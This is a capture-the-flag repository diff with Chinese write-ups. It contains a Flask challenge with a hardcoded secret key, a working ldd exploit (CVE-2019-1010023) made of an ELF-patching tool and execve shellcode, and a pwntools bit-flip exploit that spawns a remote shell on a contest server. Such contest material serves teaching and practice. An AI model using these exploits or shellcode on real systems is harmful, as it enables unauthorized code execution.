eQIhAO4T9HjFgSAP5Bg/bzeTS5jGvZAnN14e2sjllR6392J8
-----END CERTIFICATE-----
@@ -0,0 +1,73 @@
from io import BytesIO
from flask import Flask
from flask import request, render_template, redirect, url_for, session, make_response, send_file
import OpenSSL
import base64
import xlsxwriter
import io
import cn2an
import random
from secret import total_money, secret_key
app = Flask(__name__)
app.secret_key = secret_key
with open("cert.pem") as f:
cert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, f.read())
@app.before_request
def check():
if request.path.startswith('/static/'):
return
if request.args.get('token'):
try:
token = request.args.get('token')
id, sig = token.split(":", 1)
sig = base64.b64decode(sig, validate=True)
OpenSSL.crypto.verify(cert, sig, id.encode(), "sha256")
session['token'] = token
except Exception:
session['token'] = None
return redirect(url_for('index'))
if session.get("token") is None:
return make_response(render_template("error.html"), 403)
@app.route('/', methods=['GET'])
def index():
total = total_money(session['token'])
file = io.BytesIO()
workbook = xlsxwriter.Workbook(file)
worksheet = workbook.add_worksheet()
worksheet.write(0, 0, '单价')
worksheet.write(0, 1, '数量')
random.seed(session['token'])
cut = set()
while len(cut) < 999:
n = random.randrange(1, total)
cut.add(n)
cut = [0] + sorted(cut) + [total]
row = 1
for start, end in zip(cut[:-1], cut[1:]):
total_price = end - start
price = total_price
count = random.randrange(2, 11)
if price % count == 0:
price //= count
else:
count = 1
assert count * price == total_price
worksheet.write(row, 0, cn2an.an2cn(price / 100, "rmb"))
worksheet.write(row, 1, count)
row += 1
workbook.close()
file.seek(0)
return send_file(file, attachment_filename="bills.xlsx", as_attachment=True)
if __name__ == '__main__':
app.run(host='127.0.0.1', port=10002, debug=True)
@@ -0,0 +1,6 @@
import hashlib
secret_key = b"613a8321a1190e281ff6ae91f7"
def total_money(token):
return int(hashlib.sha256(('dc91ea2aa6c0'+token).encode()).hexdigest()[:5],16)+1000000
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -0,0 +1,33 @@
html,
body {
height: 100%;
}
body {
display: -ms-flexbox;
display: flex;
-ms-flex-align: center;
align-items: center;
padding-top: 40px;
padding-bottom: 40px;
}
.form-token {
width: 100%;
max-width: 600px;
padding: 15px;
margin: auto;
}
.form-token h1 {
margin-bottom: 20px;
color: #721c24;
}
.form-token .form-control {
position: relative;
box-sizing: border-box;
height: auto;
padding: 10px;
font-size: 16px;
}
File diff suppressed because one or more lines are too long
@@ -0,0 +1,47 @@
html,
body {
height: 100%;
}
body {
display: -ms-flexbox;
display: flex;
-ms-flex-align: center;
align-items: center;
padding-top: 40px;
padding-bottom: 40px;
background-color: #f5f5f5;
}
.form-getflag {
width: 100%;
max-width: 800px;
padding: 15px;
margin: auto;
}
.form-getflag h1 {
margin-bottom: 20px;
}
.form-getflag .form-control {
position: relative;
box-sizing: border-box;
height: auto;
padding: 10px;
font-size: 16px;
}
.form-getflag input[type="range"] {
margin-bottom: 10px;
border-bottom-right-radius: 0;
border-bottom-left-radius: 0;
}
.question-main {
text-align: left;
}
.question-q {
margin-bottom: 10px;
}
@@ -0,0 +1,31 @@
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<link rel="stylesheet" href="static/bootstrap/css/bootstrap.min.css">
<link rel="stylesheet" href="static/error.css">
<meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=no">
<title>Token 错误</title>
</head>
<body>
<form class="form-token" action="">
<h1>Error: Token 错误</h1>
<p>Token 错误,题目没有加载,推荐使用比赛平台上的题目链接访问。</p>
<p>或在以下输入框中粘贴你的完整 token(可以从比赛平台复制):</p>
<input type="text" style="width: 400px;" name="token" placeholder="">
<input type="submit" value="开始做题" />
</form>
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap/js/bootstrap.min.js"></script>
<script type="text/javascript">
$(function () {
$('input[type="text"]').on('input', function () {
this.value = $.trim(this.value);
});
});
</script>
</body>
</html>
@@ -0,0 +1,7 @@
version: "3"
services:
exam:
restart: always
build: .
ports:
- "10002:80"
@@ -1 +1,33 @@
# 动态链接库检查器
在 ldd 的 man 手册页中我们可以查到:
```
Security
Be aware that in some circumstances (e.g., where the program speci
fies an ELF interpreter other than ld-linux.so), some versions of ldd
may attempt to obtain the dependency information by attempting to di
rectly execute the program, which may lead to the execution of what
ever code is defined in the program's ELF interpreter, and perhaps to
execution of the program itself. (In glibc versions before 2.27, the
upstream ldd implementation did this for example, although most dis
tributions provided a modified version that did not.)
Thus, you should never employ ldd on an untrusted executable, since
this may result in the execution of arbitrary code. A safer alterna
tive when dealing with untrusted executables is:
$ objdump -p /path/to/program | grep NEEDED
Note, however, that this alternative shows only the direct dependen
cies of the executable, while ldd shows the entire dependency tree of
the executable.
```
虽然说 ldd 处理任意的程序是危险的,但常见的 Linux 发行版,包括题目服务器的版本,都避免了这个问题。
在网上搜索「ldd exploit」之类的关键词可以查到 CVE-2019-1010023,在[这个链接](https://sourceware.org/bugzilla/show_bug.cgi?id=22851)中,我们可以看到 ldd 任意命令执行的示例代码,然而这个问题并没有被修复。
所以我们把示例代码保存成文件,把 `shellcode.asm` 最后的 `cat /etc/passwd` 改成读取 flag 的命令 `cat /flag`,然后在 Linux 环境下使用 `make` 命令编译,得到的 `libevil.so` 就可以上传到题目的网页获得 flag 了。
[解题代码](src/solution)
@@ -0,0 +1,16 @@
all:
gcc -fPIC -shared evil.c -o libevil.so
gcc main.c -levil -L. -o main -Wl,-rpath,./
gcc make_evil.c -o make_evil -g
evil: all
nasm -fbin shellcode.asm -o shellcode.bin
gcc -fPIC -shared evil.c -T evil.script -o libevil.so
./make_evil
clean:
rm main libevil.so
gdb:
gdb /home/blackzert/kernel_experiments/glibc_build/elf/ld.so
list:
/lib64/ld-linux-x86-64.so.2 --list ./libevil.so
@@ -0,0 +1,10 @@
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int evil() {
printf("Hello world!\n");
return 0;
}
@@ -0,0 +1,24 @@
OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64",
"elf64-x86-64")
OUTPUT_ARCH(i386:x86-64)
ENTRY(_start)
SEARCH_DIR("=/usr/local/lib/x86_64-linux-gnu"); SEARCH_DIR("=/lib/x86_64-linux-gnu"); SEARCH_DIR("=/usr/lib/x86_64-linux-gnu"); SEARCH_DIR("=/usr/local/lib64"); SEARCH_DIR("=/lib64"); SEARCH_DIR("=/usr/lib64"); SEARCH_DIR("=/usr/local/lib"); SEARCH_DIR("=/lib"); SEARCH_DIR("=/usr/lib"); SEARCH_DIR("=/usr/x86_64-linux-gnu/lib64"); SEARCH_DIR("=/usr/x86_64-linux-gnu/lib");
SECTIONS
{
. = 0x1000 + SEGMENT_START("text-segment", 0) + SIZEOF_HEADERS;
.text :
{
*(.text)
}
.rela.plt :
{
*(.rela.plt)
}
.dynamic : { *(.dynamic) }
.got : { *(.got) }
.got.plt : { *(.got.plt) *(.igot.plt) }
.data : { *(.data) }
/DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}
@@ -0,0 +1,16 @@
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
extern int evil();
char buffer[16536];
int main() {
evil();
int fd = open("/proc/self/maps", 0);
int size = read(fd, buffer, sizeof(buffer));
if (size > 0)
write(0, buffer, size);
return 0;
}
@@ -0,0 +1,176 @@
#include <elf.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
off_t get_len(int fd)
{
off_t length = lseek(fd, 0, SEEK_END);
lseek(fd, 0, SEEK_SET);
return length;
}
int get_file(char *evilname)
{
int fd = open(evilname, O_RDWR);
if (fd < 0)
{
printf("Failed to open\n");
return -1;
}
return fd;
}
int align(int fd, size_t len, size_t value)
{
char buffer[4096] = {0};
size_t rest = value - (len & (value - 1));
while ( rest > 4096) {
write(fd, buffer, 4096);
rest -= 4096;
}
write(fd, buffer, rest);
return 0;
}
int extend_elf(int fd, Elf64_Phdr *new_heades, unsigned int new_count, char* overlay, unsigned long overlay_len) {
Elf64_Ehdr header = {0};
int size = read(fd, &header, sizeof(header));
if (size < sizeof(header))
{
printf("read failed\n");
return -1;
}
if (header.e_ident[EI_CLASS] != ELFCLASS64)
{
printf("Not elf64\n");
return -1;
}
if (header.e_phentsize != sizeof(Elf64_Phdr))
{
printf("unknown phdr struct\n");
return -1;
}
unsigned long ph_size = header.e_phnum * header.e_phentsize;
header.e_phnum += new_count;
off_t off = lseek(fd, 0, SEEK_SET);
if (off == (off_t)-1)
{
printf("bad ph_off\n");
return -1;
}
size = write(fd, &header, sizeof(header));
if (size != sizeof(header))
{
printf("failed to write header\n");
return -1;
}
off = lseek(fd, ph_size + header.e_phoff, SEEK_SET);
if (off == (off_t)-1)
{
printf("bad ph_off\n");
return -1;
}
size = write(fd, new_heades, new_count*sizeof(Elf64_Phdr));
if (size != new_count*sizeof(Elf64_Phdr))
{
printf("write failed, file corrupted. sorry\n");
return -1;
}
off = lseek(fd, 0, SEEK_SET);
if (off == (off_t)-1)
{
printf("failed go to start");
return -1;
}
off = lseek(fd, 0, SEEK_END);
if (off == (off_t)-1)
{
printf("failed to seek to end\n");
return -1;
}
align(fd, off, new_heades[0].p_align);
return 0;
}
char shellcode[4096];
unsigned long libc_size = 0x26000;
int main() {
int scfd = get_file("shellcode.bin");
off_t sc_len = get_len(scfd);
read(scfd, shellcode, sc_len);
int fd = get_file("libevil.so");
if (fd < 0)
printf("failed open\n");
off_t off = get_len(fd);
if (off == (off_t)-1)
{
printf("failed get len\n");
close(fd);
return -1;
}
Elf64_Phdr new_headers[2];
new_headers[0].p_type = PT_LOAD; // segment with shellcode, will overwrite ld r-x segment
new_headers[0].p_flags = PF_X|PF_R|PF_W;
new_headers[0].p_offset = off + (4096 - (4095&off));
new_headers[0].p_vaddr = 0x400000;
new_headers[0].p_paddr = 0;
new_headers[0].p_filesz = libc_size;
new_headers[0].p_memsz = 0x200000;
new_headers[0].p_align = 4096;
if ( ((new_headers[0].p_vaddr - new_headers[0].p_offset)
& (new_headers[0].p_align - 1)) != 0 )
{
printf("ELF load command address/offset not properly aligned\n");
return -1;
}
new_headers[1].p_type = PT_LOAD;
new_headers[1].p_flags = PF_X|PF_R|PF_W;
new_headers[1].p_offset = 0;
new_headers[1].p_vaddr = 0x200000;
new_headers[1].p_paddr = 0;
new_headers[1].p_filesz = 0;
new_headers[1].p_memsz = 0x200000;
new_headers[1].p_align = 0x200000;
int res = extend_elf(fd, (Elf64_Phdr*)&new_headers, 2, shellcode, sc_len);
char buffer[4096];
memset(buffer, 0x90, 4096);
unsigned long size = libc_size;
while(size > 4096)
{
write(fd, buffer, 4096);
size -= 4096;
}
memcpy(buffer + 4095 - sc_len, shellcode, sc_len);
write(fd, buffer, 4096);
close(fd);
return res;
}
@@ -0,0 +1,26 @@
bits 64
push 59
pop rax ; rax=sys_execve
cdq ; penv=0
mov rcx, '/bin//sh'
push rdx ; 0
push rcx ; "/bin//sh"
push rsp
pop rdi ; rdi="/bin//sh", 0
; ---------
push rdx ; 0
push word '-c'
push rsp
pop rbx ; rbx="-c", 0
push rdx ; NULL
jmp l_cmd64
r_cmd64: ; command
push rbx ; "-c"
push rdi ; "/bin//sh"
push rsp
pop rsi ; rsi=args
syscall
l_cmd64:
call r_cmd64
db 'cat /flag', 0
@@ -1 +1,23 @@
# 超精准的宇宙射线模拟器
## 分析程序
反编译之后可以看出,程序初始化时将自己的代码段设置为了可写。
main 函数中,程序读入一个地址 addr 和一个整数 bit,然后把 addr 地址的第 bit 位翻转,然后程序退出。
我们只能翻转一个 bit,但只翻转一个 bit 不足以让我们获得任意命令执行的能力。所以这道题的关键在于,我们要利用翻转的第一个 bit 来创造出一个循环,使得我们可以翻转更多的 bit。可以翻转更多 bit 之后,我们就可以把 shellcode 写入代码段中,然后想办法跳转过去。
至于如何创造出循环,懒人做法是在代码段的地址范围内穷举所有地址,直到找到一个翻转后程序可以第二次读取我们输入(而不是崩溃或者正常退出)的位置。
我并没有去穷举,而是直接看汇编。
0x401295 处是一个 call 指令,调用了 `exit()` 函数退出程序,如果让它不要退出,就可以到达输出 `"Invalid input"` 的地方,然后跳转到输入的地方,形成循环。
这个 call 指令调用了 0x4010c0 这个函数,字节码是 `E8 26 FE FF FF`,如果翻转 `26` 的第 6 个 bit,就可以把字节码变成 `E8 66 FE FF FF`,即跳转到 0x401100,这里的逻辑是直接返回。
然后,我们利用这个循环来不断把 shellcode 覆盖 0x4010c0 也就是原来的 `exit()` 函数。
最后,我们把之前翻转那个 bit 改回去,程序跳转到 0x4010c0,我们的 shellcode 会被执行,就可以拿到 shell 了。
[最终的解题代码](src/solve_flip.py)
Binary file not shown.
@@ -0,0 +1,27 @@
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
__attribute__((constructor))
void __init(){
mprotect((void*)0x00401000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);
}
int main(){
void *addr;
int bit;
start:
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
puts("You can flip only one bit in my memory. Where do you want to flip?");
scanf("%p %d", &addr, &bit);
if (bit >= 0 && bit < 8) {
*(unsigned char*)addr ^= 1 << bit;
puts("Done.");
exit(0);
} else {
puts("Invalid input");
goto start;
}
return 0;
}
@@ -0,0 +1,30 @@
#!/usr/bin/env python3
from pwn import *
context.log_level='debug'
r = remote('202.38.93.111', 10231)
r.recvuntil("token: ")
r.sendline("这里填写你的 token")
def flip(addr, bit):
r.recvuntil('flip?')
r.sendline(hex(addr) + ' ' + str(bit))
target = 0x401295
flip(target + 1, 6)
shellcode_start = 0x4010c0
shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
e = ELF('./flip')
for i in range(len(shellcode)):
b = shellcode[i] ^ e.read(shellcode_start + i, 1)[0]
for j in range(8):
if (b >> j) & 1:
flip(shellcode_start + i, j)
flip(target + 1, 6)
r.interactive()